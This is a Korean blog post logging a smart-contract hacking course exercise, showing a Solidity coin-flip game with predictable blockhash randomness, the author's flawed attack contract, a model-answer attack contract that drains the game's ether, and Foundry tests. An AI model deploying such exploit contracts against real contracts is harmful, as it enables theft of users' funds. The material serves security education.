[SCH] Smart Contract Hacking 7편 - Randomness Vulnerabilities2

0xDave·2023년 3월 25일
0

Ethereum

목록 보기
99/112
post-thumbnail

Task1


이전과 마찬가지로 컨트랙트를 공격해서 자금을 탈취하면 된다. 대상 컨트랙트는 다음과 같다.

// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.8.13;

/**
 * @title Game2
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract Game2 {

    // Calculate wins in a row for every player
    mapping(address => uint) public players;
    uint256 lastValue;
    uint8 constant MIN_WINS_IN_A_ROW = 5;

    constructor() payable {}

    function play(bool _guess) external payable {
        
        require(msg.value == 1 ether, "Playing costs 1 ETH");

        // uint representation of previous block hash
        uint256 value = uint256(blockhash(block.number - 1));
        require(lastValue != value, "One round at a block!");
        lastValue = value;

        // Generate a random number, and check the answer
        uint256 random = value % 2;
        bool answer = random == 1 ? true : false;

        if (answer == _guess) {

            players[msg.sender]++;

            // Did pleayer win 5 times in a row?
            if(players[msg.sender] == MIN_WINS_IN_A_ROW) {
                (bool sent, ) = msg.sender.call{value: address(this).balance}("");
                require(sent, "Failed to send ETH");
                players[msg.sender] = 0;
            }
        } else {
            players[msg.sender] = 0;
        }
    }
}

이전 블록의 해시값이 짝수인지 홀수인지 5번 연속으로 맞추면 된다.

아래는 내가 작성한 컨트랙트다.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;


interface IGame2 {
    function play(bool) external;
}

contract Attack {
    IGame2 game2;
    address attacker;
    uint256 hashValue;
    bool guess;

    constructor(address _game2) {
        game2 = IGame2(_game2);
        attacker = msg.sender;
        hashValue = uint256(blockhash(block.number - 1));
    }

    function attack() external payable{
        for (uint256 i=0; i<5; i++) {
            if(hashValue % 2 == 1) {
                guess = true;
            } else {
                guess = false;
            }
            game2.play(guess);
            updateHash(hashValue);
        }
    }

    function updateHash(uint256 _number) public returns (uint256){
        hashValue = uint256(blockhash(block.number - 1));
        return hashValue;
    }

    receive() payable external{
        (bool success, ) = attacker.call{value: 10 ether}("");
        require(success, "Tx failed");
    }
}

여기까지 피드백


아래는 모범 답안이다.

interface IGame2 {
    function play(bool _guess) external payable;

    function players(address) external;
}

contract Attack {
    IGame2 game;
    address payable owner;

    constructor(address _game) {
        game = IGame2(_game);
        owner = payable(msg.sender);
    }

    function attack() external payable {
        // uint representation of previous block hash
        uint256 value = uint256(blockhash(block.number - 1));
        // Generate a random number, and check the answer
        uint256 random = value % 2;
        bool answer = random == 1 ? true : false;
        game.play{value: 1 ether}(answer);
    }

    receive() external payable {
        (bool sent, ) = owner.call{value: address(this).balance}("");
        require(sent, "Failed to send ETH");
    }
}
  1. msg.sender를 설정할 때 payable을 사용했다.

  2. 나는 constructor에서부터 해시값을 가져왔는데 모범답안에서는 공격함수가 실행될 때 해시를 가져오도록 했다. 공격 컨트랙트가 디플로이 될 때랑 공격 함수를 호출할 때 당연히 해시가 다를 것이므로 constructor에서부터 해시값을 가져오는 것은 잘못된 방향인 것 같다. 또한 내가 작성한 방향대로 해시를 업데이트 하는 함수를 바깥에 만드는 것도 문제가 되는데, 업데이트 할 때의 해시와 공격할 때의 해시가 다를 수 있기 때문이다.

  3. players가 왜 인터페이스에 있는지 아직도 의문이다..


테스트 코드 작성


내가 작성한 테스트 코드는 다음과 같다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/randomness-vulnerabilities-2/Game2.sol";
import "../../src/randomness-vulnerabilities-2/Attack.sol";

/**
@dev run "forge test --match-contract RV2" 
*/

contract TestRV2 is Test {
    address deployer;
    address attacker;

    Game2 game2;
    Attack attack;

    function setUp() public {
        deployer = address(0);
        attacker = address(1);

        vm.deal(deployer, 10 ether);
        vm.deal(attacker, 10 ether);

        vm.prank(deployer);
        game2 = new Game2();
        vm.deal(address(game2), 10 ether);

        vm.prank(attacker);
        attack = new Attack(address(game2));

        assertEq(address(game2).balance, 10 ether);

    }

    function test_Attack() public {
        vm.startPrank(attacker);
        for (uint256 i=0; i<5; i++){
            vm.roll(100 + i);
            attack.attack{value: 1 ether}();
        }
        vm.stopPrank();
        assertEq(address(attacker).balance, 20 ether);
        assertEq(address(game2).balance, 0);

    }
}

아래는 모범답안이다.

contract TestRV2 is Test {
    uint128 public constant GAME_POT = 20 ether;
    uint128 public constant GAME_FEE = 1 ether;
    uint256 init_attacker_bal;

    Game2 game;
    Attack attack;

    address deployer;
    address attacker;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);
        vm.deal(attacker, 10 ether);

        vm.prank(deployer);
        game = new Game2();
        vm.deal(address(game), GAME_POT);

        vm.prank(attacker);
        attack = new Attack(address(game));

        uint256 inGame = address(game).balance;
        assertEq(inGame, GAME_POT);

        init_attacker_bal = address(attacker).balance;
    }

    function test_Attack() public {
        for (uint i = 0; i < 5; i++) {
            attack.attack{value: 1 ether}();
            vm.roll(block.number + 1);
        }

        assertEq(address(game).balance, 0);
        assertEq(address(attacker).balance >= init_attacker_bal + GAME_POT, true);
    }
}

피드백


  1. 전체적인 방향과 스타일이 모범답안과 비슷하다. 첫 번째 수업 때 작성한 테스트 코드에 비하면 정말 많이 나아졌다.(뿌듯)

  2. block.numbervm.roll로 설정 가능하다.

  3. attack() 함수 자체에는 value 없이 호출하게 되어있더라도 함수 내부에 value를 사용하는 함수가 있다면, 테스트 코드 작성할 때 attack() 함수를 value와 함께 호출해야 한다.

    function attack() external payable {
        // uint representation of previous block hash
        uint256 value = uint256(blockhash(block.number - 1));
        // Generate a random number, and check the answer
        uint256 random = value % 2;
        bool answer = random == 1 ? true : false;
        game.play{value: 1 ether}(answer);
    }
profile
Just BUIDL :)

0개의 댓글